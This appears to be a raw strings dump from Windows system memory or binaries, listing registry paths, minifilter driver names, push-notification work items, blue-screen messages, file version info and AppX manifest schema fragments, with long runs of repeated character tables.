\Registry\Machine\System\CurrentControlSet\Control\FileSystem\ Wow64 Emulation Layer \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\ advapi32.dll \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\ \SystemRoot\System32\AppLocker\MDM !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ???? ???? PatchImagePlaceholder >/Mafk9W*4pR >/Mafk9W*4pR storqosflt 244000 bindflt 409800 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e.\Device\HarddiskVolume2 49999 FileInfo 40500v 40700 WdFilter 328010 \Device\Mup e.\Device\HarddiskVolume3 FileCrypt 141100 UCPD 385250.5 e"\Device\NamedPipe e \Device\Mailslot npsvctrig 46000 e.\Device\HarddiskVolume1 e.\Device\HarddiskVolume4 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 \Device\CdRom0 e*\Device\Harddisk0\DR0 e*\Device\Harddisk0\DR0 applockerfltr 265000 150000| luafv 135000 wcifs 189900 CldFlt 409500 CldFlt CldFlt 180451 UnionFS 130850 WNS Data Connection TeardownRPCConnection WNS Data Connection Close localdomain NULL NULL Unidentified network Unidentified network ApplicationResumeWork ApplicationResumeWork RaiseClearedCallbackWork WNS Data Connection NcbWnfCallback RaiseClearedCallbackWork RequestNotificationWork RequestNotificationWork RequestNotificationWork ConnectionStatusWork ProbeCompleteWork ProbeCompleteWork ConnectWork ConnectionStatusWork RaiseClearedCallbackWork System Maintenance Service] WNS Data Connection PushEnableSocket NULL CreateRpcBinding WNS Data Connection CreateRpcSession WNS Data Connection CreateAndInitializeObject Kam:SetKeepaliveInterval WNS Data Connection UseActivationProxy localdomain NULL NULL localdomain NULL NULL File Sharing Server Network Network Windows Push Notificationsx OpportunisticConnectedStandbyStateChange RegisterApplicationChangeHandlerWork ConnectWork ExpiredOnRebootWork DeliverBufferedToastWork ToastRequestNotificationWork wpad MSCHEDl NCSI Loopback Pseudo-Interface 1 Ethernet0 DHCP PDC Suspend/Resume and Network-Refresh Activator TCPIP Win32k Activator Client Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Network Network RequestNotificationWork RequestNotificationWork RaiseClearedCallbackWork igurePowerSaverWork Kam:KapiUpdateCallback ConnectionStatusWork ConnectionStatusWork ApplicationResumeWork ApplicationResumeWork ApplicationResumeWork ApplicationResumeWork RequestNotificationWork Kam:SetKeepaliveInterval WNS Data Connection SetServerKeepaliveIntervalHelper PowerOriginEvent:Unknown PreviousActivatorDuration:0 ProbeCompleteWork ProbeCompleteWork ConfigurePowerSaverWork Conf WNS Data Connection HasModernIdentity Inbox WNS Data Connection WNS Data Connection StartBrokeredActivation WNS Data Connection WSAIoctl ACPowerChange MonitorSettingChange ExpiredOnRebootWork RegisterApplicationChangeHandlerWork DeliverBufferedToastWork ToastRequestNotificationWork localdomain NULL NULL localdomain NULL NULL Universal Telemetry Clientp BatterySaverStateChange Identifying... Identifying... DHCP Audio Service Intel(R) 82574L Gigabit Network Connection Intel(R) 82574L Gigabit Network Connection Kernel mode Plug and Play client Host Activity Manager Ethernet0 C:\WINDOWS p8+8T~ U+ ,Je V:,(,G s:Qhz &*.7 =HR[ ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc 2020 Microsoft Corporation. All Rights Reserved.Segoe Boot SemilightRegularVersion 1.40SegoeBoot-SemilightSegoe is a trademark of the Microsoft group of companies.Microsoft supplied font. You may use this font to create, display and print content as permitted by the license terms, or terms of use, of the Microsoft product, service or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited.Segoe UI <<> SubC "Microsoft Window SubC en-US We're just collecting some error info, and then you can restart. We'll restart for you. You can restart. What failed: Stop code: For more information about this issue and possible fixes, visit Your Windows Insider Build ran into a problem and needs to restart. https://www.windows.com/stopcode Please release the power button. We just need a few more seconds to shut down. It is now safe to power off the system. Your device ran into a problem and needs to restart. If you call a support person, give them this info: We're just collecting some error info, and then we'll restart for you. %1% complete %1% complete VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Boot Resource Library FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalName bootres LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename bootres ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.1 VarFileInfo Translation Segoe Boot Semilight jikmln oqprsutvw xzy{}| _BPIO_OP S_BPIO_OP NABLE FS_BPIO_OP_DISABLE FS_BPIO_OP_QUERY FS_BPIO_OP to load filter attach policy f ++S+ me.%n%n Volume name S_BPIO_OP NABLE FS_BPIO_OP_DISABLE FS_BPIO_OP_QUERY FS_BPIO_OP m driver: %6%n%n GpAllowStatus: %7%n GpAllowList: %9%n SystemAllowStatus: %10%n SystemAllowList: %12%n VolumeAllowStatus: %13%n VolumeAllowList: % Allow antiviru us policy is Information pol tatus: %10%n VolumeAll ++S+ FS_BPIO_OP NABLE FS_BPIO_OP_DISABLE FS_BPIO_OP_QUERY FS_BPIO_OP _GET_INFO System BypassIoOperation EventData Data Name FinalStatu Data Data ersi` ceNa ngth Data Name DeviceName DeviceVersionMajor DeviceVersionMinor DeviceTime SupportedFeatures EventData Data Name DeviceName Data Name DeviceVersionMajor Data Name DeviceVersionMinor Data Name DeviceTime Data Name ProcessName Data Name FileName Data Name BypassIoOperation Data Name BypassVetoingReason Data Name OperationStatus DeviceName DeviceVersionMajor DeviceVersionMinor DeviceTime ProcessName FileName BypassIoOperation BypassVetoingReason OperationStatus EventData Data Name VolumeNameLength Data Name VolumeName Data Name VolumeGuid Data Name FsGuid Data Name FsDriverNameLength Data Name FsDriverName Data Name Status VolumeNameLength VolumeName VolumeGuid FsGuid FsDriverNameLength FsDriverName Status EventData Data Name VolumeNameLength Data Name VolumeName Data Name VolumeGuid Data Name FsGuid Data Name FsDriverNameLength Data Name FsDriverName Data Name GpAllowStatus Data Name GpAllowListLength Data Name GpAllowList Data Name SystemAllowStatus Data Name SystemAllowListLength Data Name SystemAllowList Data Name VolumeAllowStatus Data Name VolumeAllowListLength Data Name VolumeAllowList Data Name AllowAvFilter Data Name AvPolicyIsFromGp VolumeNameLength VolumeName VolumeGuid FsGuid FsDriverNameLength FsDriverName GpAllowStatus GpAllowListLength GpAllowList SystemAllowStatus SystemAllowListLength SystemAllowList VolumeAllowStatus VolumeAllowListLength VolumeAllowList AllowAvFilter AvPolicyIsFromGp EventData Data Name VolumeNameLength Data Name VolumeName Data Name VolumeGuid Data Name FsGuid Data Name FsDriverNameLength Data Name FsDriverName Data Name GpAllowStatus Data Name GpAllowListLength Data Name GpAllowList Data Name SystemAllowStatus Data Name SystemAllowListLength Data Name SystemAllowList Data Name VolumeAllowStatus Data Name VolumeAllowListLength Data Name VolumeAllowList Data Name AllowAvFilter Data Name AvPolicyIsFromGp VolumeNameLength VolumeName VolumeGuid FsGuid FsDriverNameLength FsDriverName GpAllowStatus GpAllowListLength GpAllowList SystemAllowStatus SystemAllowListLength SystemAllowList VolumeAllowStatus VolumeAllowListLength VolumeAllowList AllowAvFilter AvPolicyIsFromGp Microsoft-Windows-FilterManager win:Error win:Warning win:Informational !File System Filter Manager Driver FltMgr WEVT_TEMPLATE en-US ClipProductOptions CloudbookDeviceID Security-SPP-IgnoreDeferredActivation CloudbookDeviceLocked ProductPolicy \Registry\Machine\System\CurrentControlSet\Control\ProductOptions OSProductContentId OSProductPfn Clip-SubscriptionPFN Security-SPP-FlexibleClip-IndependentActivation Security-SPP-Action-StateData Security-SPP-GenuineLocalStatus Virtualization-AllowInheritance ConsumeAddonPolicySet Security-SPP-FlexibleClipEnabled Kernel-ProductInfo Security-SPP-AzureImdsResponse TerminalServices-RemoteConnectionManager-AllowAppServerMode Virtualization-ActivateCloud Virtualization-DesktopAccess Security-SPP-LastWindowsActivationTime Security-SPP-LastWindowsActivationHResult SMR-HostManaged-Enabled Kernel-ExpirationDate VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription CLIP Service FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName clipsp.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename clipsp.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~ "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~ xxxx !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ !" "#$%&&'$()*(*+,-.,./01202345646789:8:;<=><>?@AB@BCDEFDFGHIJHJKLMNLNOPQRPRSTUVTVWXYZXZ[\]^\^_`ab`bcdefdfghijhjklmnlnopqrprstuvtvwxyzxz{|}~|~ localServic requ yste optio ST_DisplayNa networ ExeOrD .+\.(xml optiona .+\.(mof ST_WmiNam requ xs:fie ExeOrD ManifestFi xpate ector IisMod WmiProvider ST_Dl ST_ExeOrDl WmiName t:ST_GUI xs:schem uap8 lifie ExeOrDll versio encodin impo selec Cate upTas xOcc xs:strin uap10 Parameter t:ST_GUI requ optiona Exec Display chProtoc DropTarget versio encodin xs:schem Categor uap11 CT_AppP requ wallR Display targetNamespac CT_IisModu AppPrinte nsionCho FormDef ktop EmailD CT_EventProvider SchemaFileNam xmlns sktop1 ceDe tallMo ctio Fire dMapiLibra EmptySt Displa CT_FirewallRule NonEmptyString Mani targetNa Perfor Provi Even Sect uap11 Thumbn Type IisMo xmlns sktop sSup Arch Toolbox xs:complexTyp t:ST_Parameter EventSource MediaCodecSu DefaultHan nsionCho stit rewall com5:InProcessSer xs:unsigne ST_FirewallRulePo Hosting NonEmptySt ktop1 targetNa Type mDef ry\\ scap t:ST_NonEmptyString FullTrustProces Parameter Display ntFormDef uap8: p10:UseUr DropTargetHandle DisplayNam AllowO ST_Executa NoPath xmlns ionChoi nEmptyS substi Logging t:ST_NonEmptyString CloudFile Inclusiv AutoPlayH uap10:T Threa TypeO t:ST_Subsyste UriSourc AutoPlayE p2:Typ EVENTLOG_WARNI ualiz f:Capab tyCho MachineFo targe UCCES FAILU piLib ERRO http://schemas.microsoft.com/appx nifest/cloudfi /windows10/ CT_SearchPropertyHand hadow yExcludeF tensionBaseAttrib rewallR EVENTLOG_INFORMATION_TYP Immedi Regi Level 1:AppLi ST_DesktopEventLoggingType SearchP ertyHand uap10:Tru FirewallR ctio Attribu Shadow yExclud splayNa 1:AppLi Thumbna FileExplorerContextMenu ktopI layHan icat BaseAttrib eFrom wInN TypeOr eBeha CT_MutablePackageDirectorie tualization BaseAt faul p10:TrustLevelGrou Assoc Shadow Empt Softw xs:boolea t:ST_GUI strin tege optiona t:ST_UInt3 encodin xmlns impor schem geFil Cate AutoPlayHan clou optiona xmln s:choic Resou ifie ST_P requ Parame maxOc InitCmdLi File faul vokeA ClockT valu xpat ST_SidTy Cont Devi xs:strin Propert unqualifie CT_ItemT enco choi maxOcc Chan Subs requ t:ST_Subsystem xs:boolean alif shin xOccur cati enco impo xs:element strin requ ST_Clock ctor Occur desktop xmln :uap10 encodin TriggerE Nam/ upTy networ requ ActionStar t:ST_GUI FileNam Servi ST_CertificateStoreNam :string64L SetAndCo neVal BaseA p3:Dd sPage 10:Tr ST_SettingsAppCategorie mDefaul Base WebAc Packag CT_WebAccountProvide Loopbac essDirectio uap10:TrustLevel attributeFormDefaul 11:AppLi ycleBeh abilit ingsE MediaC cSubTyp ccessRu ST_MediaCodecSubTyp attributeFormDef nsionBase f:Appli uap10:TrustLevelGrou ty_Windows_ d_Pa LoopbackA http://schemas.microsoft.com/appx nifest/ty preview:IisModu 2014/phon http://schemas.microsoft.com/appx nifest/ty p11: eExtension upws_ d_Pa preview:IisModu t:ST_ egor Wind msCo http://schemas.microsoft.com/appx nifest/ /windows10 t:ST_ ationExten egory_ d_Part optiona DisplayPurpos t:ST_ImageFi xmlns VerbChoi Square44 Logo dUrls Defaul xmlns:uap6 optiona encodin requ impo maxOccu Publishe qualifie Font chfolde lect Capab audio Inpu trin Displa 5:Mk uap8:Workspaces AppServ Name requ xmlns boolean strin CodecTyp xmlns uap8:Tools Workspace xmlns: namespac schem qualifie versio impo codin xmln uap10 element lifi versio spac codin impo t:ST_DllF xOcc xs:sequence Start ameters ST_DllFi odin qualifie geUri http://schemas.microsoft.com/appx nifes dec/windows1 (R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) DevicePanel Instance Instances DevQueryFlagUpdateResults Configuration Filters PendingConfiguration %hu.%hu.%hu.%hu %ws%wZ:%wZ:%wZ:%wZ \Registry\Machine\Software\Policies\Microsoft\Windows\DeviceInstall \Registry\Machine\System\DriverDatabase\Policies %02d/%02d/%04d %u.%u.%u.%u %wZ:%wZ:%08X :%ws DenyDeviceClasses AllowDeviceIDs DenyDeviceIDs AllowInstanceIDs Restrictions AllowDenyLayered DenyRemovableDevices AllowDeviceClasses DriverDate DriverVersion ExcludeIds ConfigFlags 